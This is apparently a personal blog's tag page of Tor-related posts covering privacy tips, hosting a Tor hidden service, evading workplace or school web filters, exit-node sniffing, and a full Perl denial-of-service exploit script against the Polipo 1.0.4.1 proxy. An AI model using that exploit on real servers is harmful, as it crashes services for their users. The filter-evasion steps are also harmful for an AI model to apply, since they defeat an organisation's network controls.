Tag: Tor

The Art of Privacy – Part 3

Posted on by Usman

This is the best part of the whole series, as in this part I will tell you, what to do to protect yourself from prying eyes, whether the prying eyes are of hackers, or oppressing regimes (This is such a relative term 🙂 ). It’s usually such a good feeling when you realize and appreciate that your thoughts are your own, imagine if some of us could read your mind and could siphon off anything that you think and then mine the data and extract the useful bits of information and then use it. Well this is what is going on nowadays, in the cyber world, which has already been discussed previously (briefly) in this series.

So, how do I become invisible to everyone and even to a point where one has contingencies to if life turns into an iRobot’s plot.

The privacy protection can be divided into two parts:

Physical – In context of cyber

Cyber

Physical protection entails protection of your credit card data, protection of your phone’s screen information. Please keep in mind, this is not a tutorial to learn Kungfu and protect your wallet or phone from thieves, this is more in the context of what data an attacker can extract by not even making contact with you and how you can secure it, so that all the attacks are rendered unsuccessful.

Nowadays, if we notice, all credit/debit cards are contact-less, which means, in layman’s terms, you can just touch the point of sales machine with the card and you are good to go. It is a well-known fact that any threat agent can use cheap hardware to extract information from the credit card from afar. Same goes for the bus cards, tram/train tickets, etc. They all use RFID technology now.

The easiest way to protect them from an attack is to use a wallet with RFID protection. You can find many different kinds of wallets in the super market. If you love your own wallet, or your wife gave that as a gift and if you won’t use it, you will be sleeping outside of your house, then my friends, there is another solution, you can easily buy RFID protection sleeves which can hold your cards and then you can put them into your wallet. You can buy them from anywhere as well. I have been using the sleeves as well in my wallet. I got the F-Secure ones, work pretty well.

Information from the phones can be protected by adding a privacy screen protector on your phone. It comes for Android devices and iPhone/iPad/iWhatevertheycomeupwithNext.

Cyber based protection entails everything which is done online or offline, but dealing with the non-physical, bitbytes!! In case of Cyber, the threat actors have already been explained in the previous articles of this three part series.

The first thing one must and I say MUST do, is to install a VPN. VPNs are virtual private networks, which in a nutshell, encrypt all traffic between you and their server. Think of it as an underground tunnel which uses a special train which makes you invisible so you can easily pass through any barriers, and exit the city you want to exit undetected and then carry on. Usually when your traffic is going through the network, it looks like this (again a lot is going on but just to explain my point, it is illustrated so simply):

You ==> Your ISP — |Prying eyes| ===> Google/Facebook/Instagram/Blah/Blah and Blah

When you are going through a VPN:

You =|Encrypted tunnel|=> VPN server (ISP? WHO/WHAT?) ===> Google/Facebook/Instagram/Blah/Blah and Blah

So, that was that, VPN is a must if you want to stay anonymous, of course, one should never abuse this. Never do anything illegal!

The VPNs which I have personally used are F-Secure Freedome and Private Internet Access, which are quite good, with respect to price, log retention, speed.

Secondly, browser addons are your best friends. Addons like NoScript, Disable WebRTC, HTTPS Everywhere, uBlock Origin, User-Agent switcher. These are some of the addons for Mozilla Firefox. If you are a Chrome user then find equivalent addons.

Using proxies is usually not a good option to anonymize your traffic. As using WebRTC one can get your real IP, unless it is disabled on the browser side. Furthermore, by using Javascript one can extract your real IP. So, in short, don’t use proxies.

TOR is another good example of how to keep yourself anonymous. It is to note that TOR works as a proxy but it is untraceable. The operating system as well as all other apps which are not proxy aware and have not been explicitly provided, the IP for the proxy, they will connect to their respective services normally, and not through TOR.

Just to remember, if you are using TOR, never use your credentials on websites which do not run on HTTPS.

These are some of the things that Privacy health-conscious people use to protect themselves. I would recommend this to all the great readers out there.

Stay Safe.

 

~Peace

Want to be heard and can’t register a domain?

Posted on - by Usman

Back when I had dial-up internet, I used to host stuff on my computers and give my public IP to friends so that they could enjoy or make use of, what I had to share. Back then there wasn’t any Facebook, hi5, orkut, or any chat mobile apps. The only cool thing we had was IRC (\\// Live long and prosper). I felt so empowered that I could host something on my computer and share it with friends, ok, so what if I got DOSed (denial of service), many times and my computer froze because, well I had windows 98 installed. That was the time when “Ping of death” was a thing. Good times though. Coming back to the topic, as I mentioned that I could host stuff online and ask people to connect to my IP, well the bandwidth was very poor so that model didn’t work so well, and did I mention, I got DOSed, many times. Nowadays, there are a lot of online services, free website hosting like “110mb.com, wordpress.com, blogger.com, etc”. Many people use these services and are super happy with it.

Sometimes you want to share something and want to keep it on your own computer. How do you do that? Well, some of you might say: “We have a DSL/Fiber connection, we can setup reverse NAT and we are good to go”. My answer to them is that what if your public IP changes? That becomes a problem! I recently saw this television program about Darknet and how only bad people use it and if you are a criminal, then you are on a Darknet. Well, all this is quite dramatic to be honest. Yes, criminals use it, but it wasn’t designed for them, they use it because of the anonymity features.

To solve the above mentioned problem, TOR can be used. Yes, TOR is an anonymizing software and can be used to host websites or any kind of service. There are some very simple steps to set it up. You can set it up on your computer or a raspberry pi. Follow the simple steps to install a hidden service:

  1. Install TOR, apt-get install tor
  2. Edit Tor configuration file: nano /etc/tor/torrc
  3. Find the section with hidden services and edit: HiddenServicePort <port on onion> 127.0.0.1:<mapped internal port>
  4. Setup a hidden service directory and add it to the config file </blah/hidden_service/>. Chmod it to 700 (Some times TOR complains about lose permissions)
  5. Run tor.. Get the onion domain name from the hostname file.
  6. Have fun!!!!

Once it is setup you can see your .onion domain name in the hostname file, but to access it you have to be in TOR network, but there is some good news as well, you can access it from the internet as well, via Tor2web. It is rather simple, really, if you have a domain, “myblahblahblahdomain.onion”, you just add a “.to” to the end and you are good to go. So, the end URL would be: “http://myblahblahblahdomain.onion.to/”.

That is it, you are good to go and enjoy your free hosting.

Bypass Online Filter Restriction

Posted on by Usman

Hello again !

Disclaimer: All the material shown on this blog is for educational purposes ! We would not be held responsible for any illegal use of the material by any one !

Usually what happens is that people want to visit a website , which is legit , but some how it is listed in the document given to a naive network administrator and you want to download important stuff from it but what the hell , ITS BLOCKED !!!!!!!!  Your boss , teacher or any person whom you report to , doesn’t want hear stuff about BLOCKED SITES !! Its totally lame to them because they want results and you didn’t deliver. This is a very normal problem faced by many employees , students , etc.

First of all you would have to know a little about “Tunnel” . For that please check out my post about Tunneling because your concept of how tunneling works should be very clear. Today I would tell you how one can bypass these filters.

Tor stands for The Onion Router. This was at first created by the US Naval Research Laboratory a long time ago but then was handed over to the people for commercial use ! Though alot of funding is still coming from the US Govt, and alot of other parties. Which is a pretty good thing because TOR was initially designed for anonymity. The goal was that the users would be anonymous over the internet , thus becoming less of a target for the hackers but back then ” Drive By Malware/Exploits ” were not in mind or yet discovered.

In this blog I would cover the bypassing of filters so anonymity is not the main focus.Ok  how it works is that first you goto the link and download the Vidalia Bundle . Then once downloaded, install the software and all its components.

After installation run the Vidalia executable. Wait for its icon on the tray of the taskbar, to  the right, to become Green. Once that is done , goto the browser’s network option and add following values in the coinciding variables fields :

Proxy Address : 127.0.0.1

Proxy Port : 8118

Ok now save the settings and get out of the options/settings by clicking on OK !

Now your good to go ! To check whether the proxy is working or not goto : What is my IP (dot) com and see your IP Address. For cross checking whether the proxy is working or not , before adding the proxy settings to your browser goto the above mentioned website and note your IP Address and then compare it with the latter!

Enjoy ! If for instance your ISP or Administrator is smart enough to some how block the tor network, goto the TOR control panel and the click the settings button and then goto the netwok tab, it would be something like this :

If you use a proxy to access the internet , usually which is the case in Universities and Offices so this is the option to give proxy to TOR:

There are a few other techniques you could use to bypass the filters , but this one is by far the best.

Peace.

Polipo 1.0.4.1 Proxy Server Denial Of Service

Posted on by Usman

Polipo is a proxy server that is used with TOR (The onion router) vidalia bundle.If we speak in a very abstract and non technical manner then we can say that Polipo routes user’s browser traffic to the tor network. The user has to just give the port number (8118 in case of TOR).

The software’s download page and the exploit code  is as follows:

Disclaimer: [This code is for Educational Purposes , I would Not be
responsible for any misuse of this code]
# Exploit Title: [POLIPO 1.0.4.1 Denial Of Service]
# Date: [10/05/10]
# Author: [Usman Saeed]
# Software Link:[http://www.pps.jussieu.fr/~jch/software/polipo/]
# Version: [1.0.4.1]
# Tested on: [Windows 7 Home]
# CVE : [if exists]
# Code : [exploit code]

[*] Download Page :http://www.pps.jussieu.fr/~jch/software/polipo/
[*] Attack type : Remote
[*] Patch Status : Unpatched
[*] Description  : By sending a crafted POST/PUT request to the server,
 the proxy server crashes !
[*] Exploitation :

#!/usr/bin/perl
# POLIPO 1.0.4.1 Denial Of Service
# Disclaimer:
# [This code is for Educational Purposes , I would Not be responsible
for any misuse of this code]
# Author: Usman Saeed
# Company: Xc0re Security Research Group
# Website: http://www.xc0re.net
# DATE: [30/09/11]

$host = $ARGV[0];
$PORT = $ARGV[1];

$evil = "PUT / HTTP/1.1\r\n".
"Content-Length:1\r\n\r\n";

use IO::Socket::INET;
if (! defined $ARGV[0])
{
print "+========================================================+\n";
print "+ Program [POLIPO 1.0.4.1 Denial Of Service]             +\n";
print "+ Author [Usman Saeed]                                   +\n";
print "+ Company [Xc0re Security Research Group]                +\n";
print "+ DATE: [30/09/11]                                       +\n";
print "+ Usage :perl sploit.pl webserversip wbsvrport           +\n";
print "+ Disclaimer: [This code is for Educational Purposes ,   +\n";
print "+ I would Not be responsible for any misuse of this code]+\n";
print "+========================================================+\n";

exit;
}

$sock = IO::Socket::INET->new( Proto => "tcp",PeerAddr  => $host ,
PeerPort  => $PORT) || die "Cant connect to $host!";
print "+========================================================+\n";
print "+ Program [POLIPO 1.0.4.1 Denial Of Service]             +\n";
print "+ Author [Usman Saeed]                                   +\n";
print "+ Company [Xc0re Security Research Group]                +\n";
print "+ DATE: [30/09/11]                                       +\n";
print "+ Usage :perl sploit.pl webserversip wbsvrport           +\n";
print "+ Disclaimer: [This code is for Educational Purposes ,   +\n";
print "+ I would Not be responsible for any misuse of this code]+\n";
print "+========================================================+\n";

print "\n";

print "[*] Initializing\n";

sleep(2);

print "[*] Sendin evil Packet Buhahahahaha \n";

send ($sock , $evil , 0);
print "[*] Crashed  \n";
$res = recv($sock,$response,1024,0);
print $response;

exit;

#------------------------------

Anonymous Proxies , a menace for hackers & innocent users

Posted on by Usman

hey every body !

People usually hear that anonymous proxies should be banned because hackers use these to compromise systems. On the other hand proxies can be used to anonymously  surf  the internet. This is pretty comforting i know but we should all watch our step.

xc0re_eff_tor

TOR (The Onion Router) , is a free software used for anonymity by almost every body nowadays. It is nearly impossible to trace a user  , once it starts using TOR ! It looks pretty awesome but it has a vulnerability or a weakness !

The weakness is the Exit-node sniffing problem.

htw1
In the above picture taken from Tor official Website
Alice wants to communicate anonymously with bib what would happen is that her traffic would be routed through the TOR network , exiting from the other side and reaching its destination that is BOB in this case. Now the until a packet reaches the last node of the TOR network or the Exit Node , the packet is encrypted but ass soon as it reaches the exit node it is converted to plain text , At that point if a hacker owns that exit node and simply runs a sniffer , he/she can get alot of info on the user. . Even FBI or Law enforcement agencies can use this trick to get a lead on the hackers. Many hackers and agencies are using this technique presently.